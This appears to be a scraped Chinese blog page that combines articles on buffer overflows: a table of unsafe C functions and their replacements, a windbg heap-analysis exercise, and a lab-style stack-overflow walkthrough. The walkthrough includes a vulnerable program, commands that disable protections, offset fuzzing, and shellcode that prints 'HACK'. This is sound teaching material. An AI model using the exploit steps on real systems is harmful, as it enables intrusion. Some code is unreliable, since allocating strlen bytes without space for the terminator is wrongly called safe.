    若有可能,改用具备防止缓冲区溢出内置机制的高级语言(Java、C#等)。但许多语言依赖于C库,或具有关闭该保护特性的机制(为速度而牺牲安全性)。其次,可以借助某些底层系统机制或检测工具(如对C数组进行边界检查的编译器)。许多操作系统(包括Linux和Solaris)提供非可执行堆栈补丁,但该方式不适于这种情况:攻击者利用堆栈溢出使程序跳转到放置在堆上的执行代码。此外,存在一些侦测和去除缓冲区溢出漏洞的静态工具(检查代码但并不运行)和动态工具(执行代码以确定行为),甚至采用grep命令自动搜索源代码中每个有问题函数的实例。

    但即使采用这些保护手段,程序员自身也可能犯其他许多错误,从而引入缺陷。例如,当使用有符号数存储缓冲区长度或某个待读取内容长度时,攻击者可将其变为负值,从而使该长度被解释为很大的正值。经验丰富的程序员还容易过于自信地"把玩"某些危险的库函数,如对其添加自己总结编写的检查,或错误地推论出使用潜在危险的函数在某些特殊情况下是"安全"的。

    本节将主要讨论一些已被证明危险的C库函数。通过在C/C++程序中禁用或慎用危险的函数,可有效降低在代码中引入安全漏洞的可能性。在考虑性能和可移植性的前提下,强烈建议在开发过程中使用相应的安全函数来替代危险的库函数调用。

    以下分析某些危险的库函数,较完整的列表参见表3-1。

    1. gets

    该函数从标准输入读入用户输入的一行文本,在遇到EOF字符或换行字符前,不会停止读入文本。即该函数不执行越界检查,故几乎总有可能使任何缓冲区溢出(应禁用)。

    gcc编译器下会对gets调用发出警告(the `gets' function is dangerous and should not be used)。

    2. strcpy

    该函数将源字符串复制到目标缓冲区,但并未指定要复制字符的数目。若源字符串来自用户输入且未限制其长度,则可能引发危险。规避的方法如下:

    1) 若知道目标缓冲区大小,则可添加明确的检查(不建议该法):

    8f900a89c6347c561fdf2122f13be562.png

    961ddebeb323a10fe0623af514929fc1.png

    1 if(strlen(szSrc) >=dwDstSize){2 /*Do something appropriate, such as throw an error.*/

    3 }4 else{5 strcpy(szDst, szSrc);6 }

    View Code

    2) 改用strncpy函数:

    8f900a89c6347c561fdf2122f13be562.png

    961ddebeb323a10fe0623af514929fc1.png

    1 strncpy(szDst, szSrc, dwDstSize-1);2 szDst[dwDstSize-1] = '\0'; //Always do this to be safe!

    View Code

    若szSrc比szDst大,则该函数不会返回错误;当达到指定长度(dwDstSize-1)时,停止复制字符。第二句将字符串结束符放在szDst数组的末尾。

    3) 在源字符串上调用strlen()来为其分配足够的堆空间:

    8f900a89c6347c561fdf2122f13be562.png

    961ddebeb323a10fe0623af514929fc1.png

    1 pszDst = (char *)malloc(strlen(szSrc));2 strcpy(pszDst, szSrc);

    View Code

    4) 某些情况下使用strcpy不会带来潜在的安全性问题:

    8f900a89c6347c561fdf2122f13be562.png

    961ddebeb323a10fe0623af514929fc1.png

    1 strcpy(szDst, "Hello!"); //Usually by initialization, such as char szDst[] = “Hello!”;

    View Code

    即使该操作造成szDst溢出,但这几个字符显然不会造成危害——除非用其它方式覆盖字符串“Hello”所在的静态存储区。

    安全的字符串处理函数通常体现在如下几个方面:

    •显式指明目标缓冲区大小

    •动态校验

    •返回码(以指明成功或失败原因)

    与strcpy函数具有相同问题的还有strcat函数。

    3. strncpy/strncat

    该对函数是strcpy/strcat调用的“安全”版本,但仍存在一些问题:

    1) strncpy和strncat要求程序员给出剩余的空间,而不是给出缓冲区的总大小。缓冲区大小一经分配就不再变化,但缓冲区中剩余的空间量会在每次添加或删除数据时发生变化。这意味着程序员需始终跟踪或重新计算剩余的空间,而这种跟踪或重新计算很容易出错。

    2) 在发生溢出(和数据丢失)时,strncpy和strncat返回结果字符串的起始地址(而不是其长度)。虽然这有利于链式表达,但却无法报告缓冲区溢出。

    3) 若源字符串长度至少和目标缓冲区相同,则strncpy不会使用NUL来结束字符串;这可能会在以后导致严重破坏。因此,在执行strncpy后通常需要手工终止目标字符串。

    4) strncpy还可复制源字符串的一部分到目标缓冲区,要复制的字符数目通常基于源字符串的相关信息来计算。这种操作也会产生未终止字符串。

    5) strncpy会在源字符串结束时使用NUL来填充整个目标缓冲区,这在源字符串较短时存在性能问题。

    4. sprintf

    该函数使用控制字符串来指定输出格式,该字符串通常包括"%s"(字符串输出)。若指定字符串输出的精确指定符,则可通过指定输出的最大长度来防止缓冲区溢出(如%.10s将复制不超过10个字符)。也可以使用"*"作为精确指定符(如"%.*s"),这样就可传入一个最大长度值。精确字段仅指定一个参数的最大长度,但缓冲区需要针对组合起来的数据的最大尺寸调整大小。

    注意,"字段宽度"(如"%10s",无点号)仅指定最小长度——而非最大长度,从而留下缓冲区溢出隐患。

    5. scanf

    scanf系列函数具有一个最大宽度值,函数不能读取超过最大宽度的数据。但并非所有规范都规定了这点,也不确定是否所有实现都能正确执行这些限制。若要使用这一特性,建议在安装或初始化期间运行小测试来确保它能正确工作。

    6. streadd/strecpy

    这对函数可将含有不可读字符的字符串转换成可打印的表示。其原型包含在libgen.h头文件内,编译时需加-lgen [library ...]选项。

    char *strecpy(char *pszOut, const char *pszIn, const char *pszExcept);

    char *streadd(char *pszOut, const char *pszIn, const char *pszExcept);

    strecpy将输入字符串pszIn(连同结束符)拷贝到输出字符串pszOut中,并将非图形字符展开为C语言中相应的转义字符序列(如Control-A转为“\001”)。参数pszOut指向的缓冲区大小必须足够容纳结果字符串;输出缓冲区大小应为输入缓冲区大小的四倍(单个字符可能转换为\abc共四个字符)。出现在参数pszExcept字符串内的字符不被展开。该参数可设为空串,表示扩展所有非图形字符。strecpy函数返回指向pszOut字符串的指针。

    streadd函数与strecpy相同,只不过返回指向pszOut字符串结束符的指针。

    考虑以下代码:

    8f900a89c6347c561fdf2122f13be562.png

    961ddebeb323a10fe0623af514929fc1.png

    1 #include

    2 int main(void){3 char szBuf[20] = {0};4 streadd(szBuf, "\t\n", "");5 printf(%s\n", szBuf);

    6 return 0;7 }

    View Code

    打印输出\t\n,而不是所有空白。

    7. strtrns

    该函数将pszStr字符串中的字符转换后复制到结果缓冲区pszResult。其原型包含在libgen.h头文件内:

    char * strtrns(const char *pszStr, const char *pszOld, const char *pszNew, char *pszResult);

    出现在pszOld字符串中的字符被pszNew字符串中相同位置的字符替换。函数返回新的结果字符串。

    如下示例将小写字符转换成大写字符:

    8f900a89c6347c561fdf2122f13be562.png

    961ddebeb323a10fe0623af514929fc1.png

    1 #include

    2 int main(int argc,char *argv[]){3 char szLower[] = "abcdefghijklmnopqrstuvwxyz";4 char szUpper[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";5 if(argc < 2){6 printf("USAGE: %s arg\n", argv[0]);7 exit(0);8 }9 char *pszBuf = (char *)malloc(strlen(argv[1]));10 strtrns(argv[1], szLower, szUpper, pszBuf);11 printf("%s\n", pszBuf);12 return 0;13 }

    View Code

    以上代码使用malloc分配足够空间来复制argv[1],因此不会引起缓冲区溢出。

    8. realpath

    该函数在libc 4.5.21及以后版本中提供,使用时需要limits.h和stdlib.h头文件。其原型为:

    char *realpath(const char *pszPath, char *pszResolvedPath);

    该函数展开pszPath字符串中的所有符号链接,并解析pszPath中所引用的/./、/../和'/'字符(相对路径),最终生成规范化的绝对路径名。该路径名作为带结束符的字符串存入pszResolvedPath指向的缓冲区,长度最大为PATH_MAX字节。结果路径中不含符号链接、/./或/../。

    若pszResolvedPath为空指针,则realpath函数使用malloc来分配PATH_MAX字节的缓冲区以存储解析后的路径名,并返回指向该缓冲区的指针。调用者应使用free函数去释放该该缓冲区。

    若执行成功,realpath函数返回指向pszResolvedPath(规范化绝对路径)的指针;否则返回空指针并设置errno以指示该错误,此时pszResolvedPath的内容未定义。

    调用者需要确保结果缓冲区足够大(但不应超过PATH_MAX),以处理任何大小的路径。此外,不可能为输出缓冲区确定合适的长度,因此POSIX.1-2001规定,PATH_MAX字节的缓冲区足够,但PATH_MAX不必定义为常量,且可以通过pathconf函数获得。然而,pathconf输出的结果可能超大,以致不适合动态分配内存;另一方面,pathconf函数可返回-1表明结果路径名超出PATH_MAX限制。pszResolvedPath为空指针的特性被POSIX.1-2008标准化,以避免输出缓冲区长度难以静态确定的缺陷。

    应禁用或慎用的库函数如下表所示:

    表3-1

    函数

    危险性

    解决方案

    gets

    最高

    禁用gets(buf),改用fgets(buf, size, stdin)

    strcpy

    检查目标缓冲区大小,或改用strncpy,或动态分配目标缓冲区

    strcat

    改用strncat

    sprintf

    改用snprintf,或使用精度说明符

    scanf

    使用精度说明符,或自己进行解析

    sscanf

    使用精度说明符,或自己进行解析

    fscanf

    使用精度说明符,或自己进行解析

    vfscanf

    使用精度说明符,或自己进行解析

    vsprintf

    改为使用vsnprintf,或使用精度说明符

    vscanf

    使用精度说明符,或自己进行解析

    vsscanf

    使用精度说明符,或自己进行解析

    streadd

    确保分配的目标参数缓冲区大小是源参数大小的四倍

    strecpy

    确保分配的目标参数缓冲区大小是源参数大小的四倍

    strtrns

    手工检查目标缓冲区大小是否至少与源字符串相等

    getenv

    不可假定特殊环境变量的长度

    realpath

    高(或稍低,实现依赖)

    分配缓冲区大小为PATH_MAX字节,并手工检查参数以确保输入参数和输出参数均不超过PATH_MAX

    syslog

    高(或稍低,实现依赖)

    将字符串输入传递给该函数之前,将所有字符串输入截成合理大小

    getopt

    高(或稍低,实现依赖)

    将字符串输入传递给该函数之前,将所有字符串输入截成合理大小

    getopt_long

    高(或稍低,实现依赖)

    将字符串输入传递给该函数之前,将所有字符串输入截成合理大小

    getpass

    高(或稍低,实现依赖)

    将字符串输入传递给该函数之前,将所有字符串输入截成合理大小

    getchar

    若在循环中使用该函数,确保检查缓冲区边界

    fgetc

    若在循环中使用该函数,确保检查缓冲区边界

    getc

    若在循环中使用该函数,确保检查缓冲区边界

    read

    若在循环中使用该函数,确保检查缓冲区边界

    bcopy

    确保目标缓冲区不小于指定长度

    fgets

    确保目标缓冲区不小于指定长度

    memcpy

    确保目标缓冲区不小于指定长度

    snprintf

    确保目标缓冲区不小于指定长度

    strccpy

    确保目标缓冲区不小于指定长度

    strcadd

    确保目标缓冲区不小于指定长度

    strncpy

    确保目标缓冲区不小于指定长度

    vsnprintf

    确保目标缓冲区不小于指定长度

    展开全文
  • 缓冲区溢出漏洞分析

    2020-11-30 21:07:28
    缓冲区溢出漏洞分析使用windbg加载计算器,查看堆结构查看peb结构功能快捷键合理的创建标题,有助于目录的生成如何改变文本的样式插入链接与图片如何插入一段漂亮的代码片生成一个适合你的列表创建一个表格设定内容...

    使用windbg加载计算器,查看堆结构

    1、windbg加载计算器;

    2、堆栈操作;

    1、查看peb结构,输入命令:dt _PEB;

    2. 打印出所有堆,输入命令:!heap -h;

    3、观察某一个堆的_HEAP结构,选择上图中的202ee610000,输入命令:dt ntdll!_HEAP 202ee610000;

    4、观察其中的堆块结构,上图中堆的_HEAP结构中我们可以看到FirstEntry,表示第一个堆块的地址,因此地址为0x00000202ee610740。观察其中一个堆块,输入命令:dt _HEAP_ENTRY 0x00000202ee610740;

    编译并调试实例代码:

    1)找到堆的首地址
    2)找到FreeList数组的首地址
    3)在6个分配函数执行之后查看FreeList的变化
    4)在执行完三个释放函数之后,查看FreeList的变化
    5)再申请一个8字节的内存后观察FreeList的变化

    1、编写代码如下:

    #include <windows.h>
    #include <stdio.h>
     
    int main()
    {
    	HLOCAL h1, h2, h3, h4, h5, h6;
    	HANDLE hp = NULL;
     
    	hp = HeapCreate(0, 0x1000, 0x1000);
    	getchar();
     
    	printf("OK\n");
    	h1 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 8);
    	h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 8);
    	h3 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 8);
    	h4 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 8);
    	h5 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 8);
    	h6 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 8);
     
    	HeapFree(hp, 0, h1);
    	HeapFree(hp, 0, h3);
    	HeapFree(hp, 0, h5);
     
    	h1 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 8);
     
    	return 0;
    }
    

    2、分析过程

    查看文本字串,找到OK双击跳转:
    在这里插入图片描述
    在printf下断点,F9运行到断点,往上可以看到有一个新生成的栈命令:HeapCreate
    在这里插入图片描述
    查看新生成的堆的首地址是0x00EC0000
    在这里插入图片描述
    Ctrl+G去找FreeList数组的首地址(偏移地址0xC0处)FreeList[0]:0x00EC00C0:
    这里指针指向的是堆块的数据区,而在数据区之前,还有8字节的块首,其中前两字节是当前块的大小,紧跟着的两个字节是前一块的大小(粒度都是8字节),接着是堆的一些属性,然后是两个很关键的指针:前向指针和后项指针(空闲堆块是以双向链表的形式存在的,当申请一个内存时,堆管理器会从空闲链表中找到与所申请内存相匹配的块,然后将其从链表中卸下)。
    在这里插入图片描述
    查看0x00EC04B0处:
    这里由于还没有对堆进行任何操作,也就是链表中只有一个空闲块,所以指针指向free[0], 0x00EC04B0处现在还没有数据。
    在这里插入图片描述
    F9单步,执行六个分配函数后,Ctrl+G可以看到偏移地址0xC0处发生了变化,这是因为0x00EC00C0被分配出去了,现在变成了0x00EC0510:


    先查看0x00EC04B0处,可以看到在新的空闲块首之前,有6个堆块从链表中卸下,被分配出去了,指针指向自身:

    F9执行3个释放函数后偏移地址0xC0处变成了0x00EC04F0:在这里插入图片描述
    由于释放了一号堆、三号堆、五号堆,可以看到这三个堆的前后指针之前是指向自身,现在指向别的地方,表示有空闲堆块添加到链表中:
    一号堆的第一个指针指向结束处0x00EC0510,第二个指针指向下一个被删的堆块0x00EC04D0
    三号堆的第一个指针指向上一处0x00EC04B0,第二个指针指向下一个被删的堆块0x00EC04F0

    单步向下释放五号堆,五号堆的第一个指针指向上一处0x00EC04D0,第二个指针指向下一个被删的堆块0x00EC00C0。
    再申请一个8字节的内存后偏移地址0xC0处变成了0x00EC04D0:

    在这里插入图片描述
    查看FreeList,可以看到五号堆的两个指针没有了,代表着这一块从空闲链表中出来了:

    展开全文
  • 缓冲区溢出攻击实例

    2013-12-20 09:02:14
    缓冲区溢出攻击及防范实例,网络攻击与防御课程使用
  • 浅析缓冲区溢出

    2021-03-22 15:10:06
    所以研究透彻还需要不少的时间,这里简单的做一个学习的总结,通过具体的实验案例对缓冲区溢出进行简要的解析。汇编语言及编程语言是基础,其次是对反编译工具的使用:比如gdb、IDA pro、objdump等。汇编语言的学习...

    最近一直在学习缓冲区溢出漏洞的攻击,但是关于这一块的内容还是需要很多相关知识的基础,例如编程语言及反汇编工具使用。所以研究透彻还需要不少的时间,这里简单的做一个学习的总结,通过具体的实验案例对缓冲区溢出进行简要的解析。

    汇编语言及编程语言是基础,其次是对反编译工具的使用:比如gdb、IDA pro、objdump等。汇编语言的学习可以看王爽编写的《汇编语言》,很适合初学者学习的一本书。(对于初学者来说,必要的知识屏蔽是很重要的,这本书就是按这个思想编写,所以看这本书的感觉就非常流畅。)

    缓冲区溢出是一种常见的攻击手段,原因在于缓冲区漏洞非常普遍,并且易于实现。缓冲区溢出漏洞占了远程网络攻击的绝大多数,成为远程攻击的主要手段。在CTF比赛中这一类的题目也是非常热门(pwn题)。利用缓冲区溢出攻击可以导致程序运行失败、系统崩溃等后果。更为严重的是,可以利用它执行非授权指令,甚至可以取得系统特权,进而进行各种非法操作。

    缓冲区溢出及其原理

    关于缓冲区溢出的原理网上也很多,这里用一个我觉得不错的实验示例进行讲解。

    先来看以下这个例子:

    (注意:此处编译环境为CentOS 5.0 (32bit),其他版本的linux可能需要修改8,9行代码)

    首先用C语言编写一个程序,如下所示,保存为buffer.c文件。

    1. # include

    2. # include

    3. # include

    4. # include

    5.

    6. void function(int a,int b,int c){

    7.         char buffer[8];  //声明一个类型为char的数组

    8.         int *ret;

    9.         ret=(int*)(buffer+16);

    10.        (*ret)+=7;

    11. }

    12.

    13. int main(){

    14.    int x;

    15.    x=99999;

    16.    function(1,2,3);

    17.    x=1;

    18.    printf("%d\n",x);

    19.    return 0;

    20. }

    编译源程序

    如图1所示,执行#gcc buffer.c –o buffer.o命令,编译源程序。(有些高版本的linux可以加-fno-stack-protector -z execstack参数关闭保护措施 )

    848aaba75a208cf5f27ea79176264c9b.png

    执行程序

    如图1所示,执行./buffer.o命令,输出结果99999.通过分析主函数的流程,应该输出1,可是输出的为99999。原因在于function()函数。

    原因分析

    下面对buffer.o程序在内存中的分步情况及执行流程进行分析。

    一个程序在内存中通常分为程序段、数据段和堆栈。

    (1) 程序段:存放程序的机器码和只读数据

    (2) 数据段:存放程序中的静态数据和全局变量

    (3) 堆栈:存放动态数据及局部变量

    在内存中,它们的位置如图2所示

    f888840ca8dd4c1df9898338ae404701.png

    堆栈是一块保存数据的连续内存,一个名为堆栈指针(SP)的寄存器标识出了栈顶的位置,堆栈的底部在一个固定的地址。(上图)图2简化了一下如图3(下图)所示,栈的增长是由低地址位向高地址位,而堆的增长刚好相反。

    aa68d62a0bf9fcf561d7dc914ab3546c.png

    理论上说,局部变量可以用SP加偏移量来引用。堆栈由逻辑堆栈帧组成,一个函数对应一个堆栈帧。

    当调用函数时,逻辑堆栈帧被压入栈中,堆栈帧包括函数的参数、返回地址、EBP(EBP是当前函数的存取指针,即存储或者读取数时的指针基地址,可以看成一个标准的函数起始代码)和局部变量(如果函数有局部变量)。程序执行结束后,局部变量的内容将会消失,但是不会被清除。

    当函数返回时,逻辑堆栈帧从栈中被弹出,然后弹出EBP,恢复堆栈到调用函数时的地址,最后弹出返回地址到EIP(寄存器存放下一个CPU指令存放的内存地址,当CPU执行完当前的指令后,从EIP寄存器中读取下一条指令的内存地址,然后继续执行。),从而继续运行程序。

    (如过想多了解一些关于寄存器的知识,可以阅读这篇文章:

    https://blog.csdn.net/chenlyc...)

    接下来,我们来看function(1,2,3)函数,调用函数的过程如图4所示:

    33d42882d6de456e8e5c13706e35ea54.png

    首先把参数压入栈:在C语言中参数的压栈顺序是反向的,是以从后往前的顺序将function的3个参数3,2,1压入栈中。

    然后保存指令寄存器(ip)中的内容作为返回地址(return2)压入栈中;第3个放入栈的是基址寄存器EBP(sfp)

    接着把当前的栈指针(sp)复制到EBP,作为新栈帧的基地址(sfp,栈帧指针)。这里准备进入function函数。

    最后把栈指针(sp)减去适当的数值(可以理解为指针由高地址位向低地址位滑动),将局部变量(buffer和ret)压入栈中

    执行第9行语句ret=(int)(buffer1+16);后指针ret指向return2所指的存储单元;执行代码中第10行语句(ret)+=7;后,调用函数function()后的返回地址(return2所指的存储单元)指向了第18行,第17行被隔过去了,溢出的数据覆盖了原来的返回地址,因此,该程序的输出结果是99999。

    这个就是一个简单的栈溢出的情况。

    缓冲区溢出攻击例子

    接下来,我们将要思考一段包含了可利用缓冲区溢出的代码,并据此展示一次攻击。

    在具体地讨论缓冲区溢出攻击之前,可以先考虑一下此类攻击可能会爆发的现实场景。假设网站上web表单请用户输入数据,如姓名、年龄、出生日期等此类的相关信息。被输入的信息随后被传送到一台服务器上,而这台服务器会将“姓名”字段中输入的数据写入可以容纳N个字符的缓冲区中。如果服务器软件没有去验证可以确保输入的姓名的长度至多为N个字符的话,就可能会发生一次缓冲区溢出。如果溢出的数据是一段恶意代码,那么系统也将可能会去执行,从而受到攻击。

    这里我使用的系统是ubuntu 18.04 (64bit)。当前硬件已支持数据保护功能,也即栈上注入的指令无法执行,同时现在的操作系统默认启用地址随机化功能,所有很难猜测到EIP注入的地址。这里就先要把实验环境配置好(这一步很重要,如果实验中出现问题,很大可能就是环境配置的关系):

    关闭地址随机化功能(这里可能会遇到权限问题,可以手动修改,把里面的值改为0即可):

    echo 0 > /proc/sys/kernel/randomize_va_space

    这次测试用到的是编译出32位程序,但现在常见的都是64位系统,可以先安装gcc编译32位程序用到的库:

    sudo apt-get install libc6-dev-i386

    一、创建程序

    我们先构建一段代码开始,命名为bo.c。(这里为了直接展示缓冲区漏洞攻击方法,就省掉了与网络相关的部分。)

    1. #include 

    2. #include 

    3.

    4. int f()

    5. {

    6.     char buf[32];

    7.     FILE *fp;

    8.

    9.     fp = fopen("test.txt", "r");

    10.     if(!fp) {

    11.         perror("fopen");

    12.     }

    13.

    14.     fread(buf, 1024, 1, fp);

    15.     printf("data: %s\n", buf);

    16.     return 0;

    17. }

    18.

    19. int main(int argc, char *argv[])

    20. {

    21.     f();

    22.

    23.     return 0;

    24. }

    简要的分析下这段代码有溢出问题的原因是:这段程序的作用是输出文件中的字符,它声明的buf数组的字符数量为32,但是拷贝了最多可达1024个字符,因此就可以把文件的字符如果超过一定的数量,就会造成溢出,并被程序执行这些溢出的字符。

    二、编译程序

    编译源程序,输入如下命令:

    gcc -Wall -g -fno-stack-protector -o bo bo.c -m32 -Wl,-zexecstack

    这里加了几个参数,它们的功能分别是:

    -fno-stack-protector : 禁用栈溢出检测功能

    -m32 : 生成32位程序

    -Wl,-zexecstack : 支持栈端可执行

    看解释就知道为什么加这些参数了。

    编译完成之后,我们简要的说明下一步该如何利用溢出进行攻击。思路如下:

    使用的也是上一个例子的原理,buf数组溢出后,从文件读取的内容就会在当前栈帧沿着高地址覆盖,而该栈帧的顶部存放着返回上一个函数的地址(EIP),只要我们覆盖了该地址,就可以修改程序的执行路径,使它运行文件中的代码。这种攻击一般也叫做返回库函数攻击。

    因此,我们需要知道从文件读取多少个字节才能开始覆盖EIP。常见的方法有两种:

    一种方法是反编译程序进行推导,另一种方法就是进行基本的手工测试。第一种方法通常需要更深入的汇编知识,且适用于不知道源码的情况。这里我们已经知道源码,已经发现了问题所在,所以就选择后者进行尝试,确定一下写个多少字节才能覆盖EIP。

    三、覆盖EIP

    根据源码我们创建text.txt文件并写入字符进行尝试,尝试的方法很简单,EIP前的空间使用'A'填充,而EIP使用'BBBB'填充,使用两种不同的字母是为了方便找到边界。

    目前知道buf数组大小为32个字符,可以先尝试填充32个'A'和追加'BBBB',如果程序没有出现segment fault(段错误),则每次增加'A'字符4个,不断尝试直到程序运行出现segment fault。(我这里到48个的时候出现segment fault,32位系统大概在40左右)如果 'BBBB'刚好对准EIP的位置,那么函数返回时,将EIP内容将给PC指针,因为0x42424242(B的ascii码为0x42)是不可访问地址,所以出现segment fault,此时eip寄存器值就是0x42424242。

    这里可以手工在文件文件中输入字符,但毕竟繁琐,所以可以使用perl脚本写入(之后写入shellcode也要用到)。

    所经过的尝试如下:

    第一次:

    $ perl -e 'printf "A"x32 . "B"x4' > test.txt ;

    写入文件中的内容为:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

    再运行程序./bo

    face8280a111984e5a5c7cb7811a4d91.png

    结果:已溢出,造成输出乱码,但没有segment fault。

    第二次增加4个A字符:

    $ perl -e 'printf "A"x36 . "B"x4' > test.txt ; ./bo

    dfc7d75f5d90064b45654110dec4aac0.png

    结果:这里也没有segment fault。

    之后的步骤省略,直接到出现segment fault的这一步:

    $ perl -e 'printf "A"x48 . "B"x4' > test.txt ; ./bo

    b94354909a94db9c486b916ad6df3183.png

    结果:产生了segment fault。

    接下来就使用调试工具gdb,分析并确定此时的EIP是否为0x42424242。

    1.在使用gdb前,首先输入:

    ulimit -c unlimited

    用这个命令是为了产生core文件,core就是程序运行发行段错误时的文件。

    2.接着运再行一下上面的出错的那条指令

    ./bo

    此时当前目录下会出现一个core文件

    a96eea082612ed1fe26fddfc0cf14dc6.png

    3.之后就是使用gdb分析程序:

    $ gdb ./bo core –q

    41dcef1a5ca1a501c1973a8ccb68eb0f.png

    分析core文件,发现eip被写成'0x424242'(BBBB),可以确定注入内容中的'BBBB'对准了栈中存放EIP的位置。 找到EIP位置,我们就离成功迈进了一大步。值得注意的是:现在的系统有保护机制,所以找准eip的难度会大大增加。不过现在也有出现了更多有效的方法,感兴趣的朋友可以更深入地进行学习。

    四、构造shellcode

    通过之前的步骤,我们可以控制EIP之后,下一步操作就是往栈里面注入二进指令,然后修改EIP执行这段代码。那么当函数执行完后,就会执行我们的指令啦。

    通常我们将注入的这段指令称为shellcode,解释为这段指令是打开一个shell(bash),然后攻击者可以在shell执行任意命令,所以称为shellcode。

    这里我们不需要写一段复杂的shellcode去打开shell。为了能证明成功控制程序,我们可以使它在终端上输出"HACK"字符串,然后程序退出。 简便起见, 我们构造的shellcode就相当于下面两句C语言的效果:

    1. write(1, "HACK\n", 5);

    2. exit(0);

    因为shellcode将会直接操作寄存器和一些系统调用,所以对于shellcode的编写基本上是用高级语言编写一段程序然后编译,反汇编从而得到16进制的操作码,当然也可以直接写汇编然后从二进制文件中提取出16进制的操作码。 下面就是32位x86的汇编代码shell.s:

    1. BITS 32

    2. start:

    3. xor eax, eax

    4. xor ebx, ebx

    5. xor ecx, ecx

    6. xor edx, edx

    7.

    8. mov bl, 1

    9. add esp, string - start

    10. mov ecx, esp

    11. mov dl, 5

    12. mov al, 4

    13. int 0x80

    14.

    15. mov al, 1

    16. mov bl, 1

    17. dec bl

    18. int 0x80

    19.

    20. string:

    21. db "HACK", 0xa

    再编译程序:

    nasm -o shell shell.s

    之后反编译:

    ndisasm shell1

    得到如下结果:

    0a27416e1d84e3521b3a652782740839.png

    现在我们找到了EIP的位置,也有了我们要执行的shellcode,但这个EIP应该修改为什么值,才能在函数返回时执行注入的shellcode呢?

    我们可以这样想,从栈的基本模型上看(下图),当函数返回,弹出EBP(栈基址),恢复堆栈到调用函数时的地址,再弹出返回地址到EIP,ESP寄存器的值(栈指针)向上移动,指向我们的shellcode。因此,我们使用上面的注入内容生成core时,ESP寄存器的值就是shellcode的开始地址,也就是EIP应该注入的值。

    612aa73a897284237a5db68424a87fd2.png

    五、注入shellcode

    我们知道要成功执行shellcode就要使EIP的值为shellcode开始的地址。那如何找到shellcode开始的地址呢?我们先尝试着把构造好的shellcode文本给程序执行,使它生成新的core。(这里要先删掉之前的core文件)

    $ perl -e 'printf "A"x48 . "B"x4 . "x31xc0x31xdbx31xc9x31xd2xb3x01x83xc4x1dx89xe1xb2x05xb0x04xcdx80xb0x01xb3x01xfexcbxcdx80x48x41x43x4bx0a"' > test.txt ;./bo

    e81126f507f89b158afdfb1754c5c6da.png

    再执行gdb ./bo core –q

    618531c583bf75ec18b0f699a3958365.png

    上面我们知道,ESP的值就是shellcode开始的地址,ESP现在值为0xffffcf70,所有EIP注入值就是该值,(这一步一定要关闭地址随机化功能)。由于X86是小端的字节序,所以注入字节串需要改为"x70xcfxffxff"

    然后将EIP原来的注入值'BBBB'变成"x70xcfxffxff",使eip指向的地址为shellcode开始运行的地址即可。再次测试:

    $ perl -e 'printf "A"x48 . "x70xcfxffxff" . "x31xc0x31xdbx31xc9x31xd2xb3x01x83xc4x1dx89xe1xb2x05xb0x04xcdx80xb0x01xb3x01xfexcbxcdx80x48x41x43x4bx0a"'> test.txt ;./bo

    018bc974b8a99eb6e01eadae53f147e9.png

    结果:程序输出HACK字符串了,说明我们成功控制了EIP,并执行了shellcode。

    如果这段shellcode构造的再复杂一些,我们就能做更多的事。

    这也是算是最简单的缓冲区溢出漏洞攻击的例子了,所讲的技术也有点过时,对于现在的系统来讲,已经不大可能管用了。但不管怎么样,对于初步的学习还是很助于理解的。一切的学习可以从这个简单的例子出发,一步步的进行更深入下去。然后在其中发现更多的精彩。

    缓冲区溢出攻击的防范措施

    了解攻击原理是为了能更好的进行防御,最后简要的说明一下如何防范这类攻击的发生。

    (1)关闭不需要的特权程序。

    (2)及时给系统和服务程序漏洞打补丁。

    (3)强制写正确的代码。

    (4)通过操作系统使得缓冲区不可执行,从而阻止攻击者植入攻击代码。

    (5)利用编译器的边界检查来实现缓冲区的保护,这个方法使得缓冲区溢出不可能出现,从而完全消除了缓冲区溢出的威胁,但是代价比较大。

    (6)在程序指针失效前进行完整性检查。

    (7)改进系统内部安全机制。

    展开全文
  • 关于计算系统溢出攻击原理文档讲解。缓冲区溢出(Buffer Overflow)是计算机安全...随着计算机系统安全性的加强,传统的缓冲区溢出攻击方式可能变得不再奏效,相应的介绍缓冲区溢出原理的资料也变得“大众化”起来。
  • 文章目录前言 前言 缓冲区是内存中存放数据的地方。在程序试图将数据放到及其内存中的某...缓冲区溢出漏洞是指在程序试图将数据放到及其内存中的某一个位置的时候,因为没有足够的空间就会发生缓冲区溢出的现象。 ...
  • 缓冲区溢出漏洞 重点 (Top highlight) 缓冲 (Buffer) A buffer is a temporary storage, usually present in the physical memory used to hold data. 缓冲区是一种临时存储,通常存在于用于保存数据的物理内存中。 ...
  • 一个带有缓冲区溢出漏洞的程序,在接受大于200的字符串时发生溢出。
  • 缓冲区溢出漏洞浅析

    千次阅读 2019-10-01 17:41:41
    缓冲区溢出大多数情况下编译器无法给出错误信息,而只有当程序运行期间才会暴露出来,所以缓冲区溢出也归属于运行时缺陷。运行期间发生异常是由于缓冲区溢出数据(包括上界和下界),破坏了缓冲区上下边界外其它变.....
  • C语言常见漏洞-缓冲区溢出

    千次阅读 2021-07-21 11:27:21
    缓冲区溢出1.原理2.攻击方式2.1 利用shellcode2.2 跳到其它函数2.3 其它情况3.防护3.1 canary(栈保护)3.2 NX3.3 RELRO3.4 PIE 缓冲区溢出是指当计算机向缓冲区内填充数据位数时超过了缓冲区本身的容量溢出的数据覆盖...
  • 这篇文章类似于“傻瓜系列之利用缓冲区溢出”。在这类漏洞中,我们的做法是利用网络,程序控制器,输入等等,发送超大的数据缓冲区给程序,覆盖程序内存的重要部分。在这些缓冲区覆盖程序内存之后,我们可以重定向...
  • 前面发了两篇都是关于C语言缓冲区溢出的文章,有的同行问,是否C#、Java语言有缓冲区溢出问题吗?答案是否定的。由于C#、Java语言需要虚拟机去执行,属于托管语言,虚拟机会自动检查边界。一般不会出现缓冲区溢出。...
  • 缓冲区溢出漏洞挖掘分析及利用的研究
  • 下载地址:IDA逆向分析缓冲区溢出攻击漏洞实例视频和文件.rar 其中包含2个英文教学视频(有文本字幕),还有视频中所用到的练习文件! 逆向分析1 文件功能逆向 用32位ida加载文件后,反编译main函数,如下 int __...
